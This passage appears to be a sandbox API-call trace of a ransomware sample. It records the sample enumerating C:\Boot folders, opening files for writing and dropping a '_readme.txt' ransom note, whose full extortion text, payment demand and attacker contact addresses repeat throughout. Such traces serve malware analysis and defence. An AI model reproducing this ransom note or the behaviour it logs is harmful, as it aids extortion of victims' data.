ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.973] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.973] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.973] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.973] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.973] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0124.973] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.974] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.974] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.974] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.974] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.974] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.975] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0124.975] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.975] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.975] PathFindFileNameW (pszPath="") returned="" [0124.975] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.975] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.975] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.976] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.976] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0124.976] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0124.976] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.976] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.976] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.976] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.976] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.976] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.976] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0124.977] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.977] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.977] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.977] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.977] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.978] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] 